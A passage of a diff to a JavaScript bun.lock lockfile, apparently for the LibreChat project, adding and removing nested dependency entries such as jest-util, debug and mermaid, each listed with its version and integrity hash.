- "jest-environment-node/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
- "jest-environment-node/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-file-loader/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-haste-map/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-leak-detector/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-matcher-utils/jest-diff": ["jest-diff@29.7.0", "", { "dependencies": { "chalk": "^4.0.0", "diff-sequences": "^29.6.3", "jest-get-type": "^29.6.3", "pretty-format": "^29.7.0" } }, "sha512-LMIgiIrhigmPrs03JHpxUh2yISK3vLFPkAodPeo0+BuF7wA2FoQbkEg1u8gBYBThncu7e1oEDUfIXVuTqLRUjw=="],
@@ -5931,24 +6177,12 @@
"jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-mock/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
-
- "jest-resolve/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-resolve/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-runner/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-runner/source-map-support": ["source-map-support@0.5.13", "", { "dependencies": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" } }, "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w=="],
- "jest-runtime/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
-
"jest-runtime/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
- "jest-runtime/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
- "jest-runtime/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-runtime/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"jest-runtime/strip-bom": ["strip-bom@4.0.0", "", {}, "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w=="],
@@ -5959,28 +6193,18 @@
"jest-snapshot/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="],
- "jest-snapshot/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-snapshot/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-snapshot/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"jest-snapshot/synckit": ["synckit@0.11.11", "", { "dependencies": { "@pkgr/core": "^0.2.9" } }, "sha512-MeQTA1r0litLUf0Rp/iisCaL8761lKAZHaimlbGK4j0HysC4PLfqygQj9srcs0m2RdtDYnF8UuYyKpbjHYp7Jw=="],
- "jest-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
-
- "jest-util/ci-info": ["ci-info@3.9.0", "", {}, "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ=="],
-
- "jest-util/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
-
"jest-validate/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
- "jest-watcher/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
- "jest-worker/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-worker/supports-color": ["supports-color@8.1.1", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="],
+ "js-yaml/argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="],
+
"jsdom/decimal.js": ["decimal.js@10.6.0", "", {}, "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg=="],
"jsdom/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
@@ -5991,30 +6215,30 @@
"jsonwebtoken/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
+ "jszip/readable-stream": ["readable-stream@2.3.8", "", { "dependencies": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", "isarray": "~1.0.0", "process-nextick-args": "~2.0.0", "safe-buffer": "~5.1.1", "string_decoder": "~1.1.1", "util-deprecate": "~1.0.1" } }, "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA=="],
+
"jwks-rsa/@types/express": ["@types/express@4.17.21", "", { "dependencies": { "@types/body-parser": "*", "@types/express-serve-static-core": "^4.17.33", "@types/qs": "*", "@types/serve-static": "*" } }, "sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ=="],
+ "jwks-rsa/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"jwks-rsa/jose": ["jose@4.15.5", "", {}, "sha512-jc7BFxgKPKi94uOvEmzlSWFFe2+vASyXaKUpdQKatWAESU2MWjDfFf0fdfc83CDKcA5QecabZeNLyfhe3yKNkg=="],
"katex/commander": ["commander@8.3.0", "", {}, "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww=="],
"keyv-file/@keyv/serialize": ["@keyv/serialize@1.0.3", "", { "dependencies": { "buffer": "^6.0.3" } }, "sha512-qnEovoOp5Np2JDGonIDL6Ayihw0RhnRh6vxPuHo4RDn1UOzwEo4AeIfpL6UGIrsceWrCMiVPgwRjbHu4vYFc3g=="],
- "keyv-file/tslib": ["tslib@1.14.1", "", {}, "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="],
-
"langsmith/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"langsmith/uuid": ["uuid@10.0.0", "", { "bin": "dist/bin/uuid" }, "sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ=="],
"ldapauth-fork/lru-cache": ["lru-cache@7.18.3", "", {}, "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA=="],
- "librechat-data-provider/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
-
- "librechat-data-provider/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
-
- "librechat-data-provider/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
+ "librechat-data-provider/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
"lint-staged/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="],
+ "lint-staged/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"log-update/ansi-escapes": ["ansi-escapes@7.0.0", "", { "dependencies": { "environment": "^1.0.0" } }, "sha512-GdYO7a61mR0fOlAsvC9/rIHf7L96sBc6dEWzeOu+KAea5bZyQRPIpojrVoI4AXGJS/ycu/fBTdLrUkA4ODrvjw=="],
"log-update/slice-ansi": ["slice-ansi@7.1.0", "", { "dependencies": { "ansi-styles": "^6.2.1", "is-fullwidth-code-point": "^5.0.0" } }, "sha512-bSiSngZ/jWeX93BqeIAbImyTbEihizcwNjFoRUIY/T1wWQsfsm2Vw1agPKylXvQTU7iASGdHhyqRlqQzfz+Htg=="],
@@ -6027,30 +6251,50 @@
"lru-memoizer/lru-cache": ["lru-cache@6.0.0", "", { "dependencies": { "yallist": "^4.0.0" } }, "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA=="],
- "mathjs/fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="],
-
"mdast-util-find-and-replace/escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="],
"mdast-util-math/unist-util-remove-position": ["unist-util-remove-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q=="],
"mdast-util-mdx-jsx/unist-util-remove-position": ["unist-util-remove-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q=="],
+ "memorystore/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "mermaid/dayjs": ["dayjs@1.11.19", "", {}, "sha512-t5EcLVS6QPBNqM2z8fakk/NKel+Xzshgt8FFKAn+qwlD1pzZWxh0nVCrvFK7ZDb6XucZeF9z8C7CBWTRIVApAw=="],
+
+ "mermaid/marked": ["marked@16.4.2", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-TI3V8YYWvkVf3KJe1dRkpnjs68JUPyEa5vjKrp1XEEJUAOaQc+Qj+L1qWbPd0SJuAdQkFU0h73sXXqwDYxsiDA=="],
+
+ "mermaid/uuid": ["uuid@11.1.0", "", { "bin": "dist/esm/bin/uuid" }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="],
+
+ "micromark/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"micromatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
"miller-rabin/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
+ "mlly/acorn": ["acorn@8.16.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="],
+
+ "monaco-editor/dompurify": ["dompurify@3.2.7", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw=="],
+
"mongodb-connection-string-url/whatwg-url": ["whatwg-url@14.2.0", "", { "dependencies": { "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw=="],
+ "mongodb-memory-server-core/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"mongodb-memory-server-core/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
- "multer/mkdirp": ["mkdirp@0.5.6", "", { "dependencies": { "minimist": "^1.2.6" }, "bin": "bin/cmd.js" }, "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw=="],
+ "mquery/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
"multer/type-is": ["type-is@1.6.18", "", { "dependencies": { "media-typer": "0.3.0", "mime-types": "~2.1.24" } }, "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g=="],
+ "new-find-package-json/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"node-stdlib-browser/buffer": ["buffer@5.7.1", "", { "dependencies": { "base64-js": "^1.3.1", "ieee754": "^1.1.13" } }, "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ=="],
"node-stdlib-browser/pkg-dir": ["pkg-dir@5.0.0", "", { "dependencies": { "find-up": "^5.0.0" } }, "sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA=="],
+ "nodemon/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "nodemon/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
"nodemon/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"npm-run-path/path-key": ["path-key@4.0.0", "", {}, "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ=="],
@@ -6073,18 +6317,26 @@
"playwright/fsevents": ["fsevents@2.3.2", "", { "os": "darwin" }, "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA=="],
